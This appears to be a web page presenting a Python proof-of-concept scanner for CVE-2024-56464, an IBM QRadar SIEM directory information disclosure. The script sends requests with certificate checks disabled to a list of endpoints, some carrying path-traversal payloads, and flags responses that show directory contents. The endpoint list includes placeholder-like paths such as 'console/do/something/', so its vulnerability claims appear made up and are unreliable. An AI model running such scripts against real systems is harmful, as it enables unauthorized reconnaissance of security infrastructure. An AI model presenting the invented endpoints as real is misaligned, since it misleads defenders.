CVE-2024-56464 | IBM QRadar SIEM 目录信息泄露漏洞

# CVE-2024-56464 PoC - IBM QRadar SIEM Directory Information Disclosure # Note: This is a conceptual PoC for educational purposes only import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target IBM QRadar SIEM is vulnerable to CVE-2024-56464 """ # Normalize URL if not target_url.endswith('/'): target_url += '/' # Known vulnerable endpoints that may expose directory information vulnerable_paths = [ 'console/qrdarun.jsp?appName=../../../', 'api/siem/offenses?sort=&range=1-1000', 'console/do/something/siemplatform/', 'console/do/something/../../', ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2024-56464 - IBM QRadar SIEM Directory Information Disclosure") print("=" * 60) # Attempt to access potentially vulnerable endpoints for path in vulnerable_paths: try: url = urljoin(target_url, path) response = requests.get(url, timeout=10, verify=False) # Check for signs of directory information disclosure if response.status_code == 200: content = response.text # Look for directory listing patterns if any(indicator in content.lower() for indicator in ['directory', 'listing', 'parent directory', '/opt/', '/etc/', '/var/log', 'path:', 'file:']): print(f"[+] Potential vulnerability found at: {url}") print(f"[+] Response contains directory information") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {str(e)}") print("[*] No obvious vulnerability indicators found") print("[*] Note: Actual exploitation requires authenticated access") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://qradar.example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)